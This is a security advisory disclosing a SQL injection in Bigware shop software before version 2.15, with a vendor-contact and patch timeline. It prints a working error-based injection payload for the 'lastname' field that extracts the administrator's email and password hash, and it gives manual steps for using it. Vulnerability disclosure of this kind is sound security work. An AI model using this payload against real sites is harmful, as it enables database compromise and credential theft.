SQL injection in Bigware shop software

The Bigware shop software prior to version 2.15 contains a SQL injection, resulting in full database compromise. The injection point is the POST parameter 'lastname' in the module main_bigware_43.php. A user must be created before exploitation.

Proof of concept is at http://files.dw-itsecurity.de/43.zip

Do it manually: Create a valid user at www.shopsite.com/main_bigware_10.php. Open www.shopsite.com/main_bigware_43.php and add the following statement in the field 'Nachname':

' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT former_email_address
FROM former where former_groups_id like 1 LIMIT 0,1), CHAR(58), (SELECT
former_password FROM former where former_groups_id like 1 LIMIT 0,1),
FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND '1' LIKE '1

The error message contains username and hashed password of the shop administrator.

Time line:
12/10/2011: Vendor contacted
12/10/2011: Vendor response
12/18/2011: Vendor patch release
12/19/2011: Vendor requested time to notify customers
01/23/2012: Disclosure

See also: http://www.dw-itsecurity.de/index.php/unser-service/websicherheit/bigware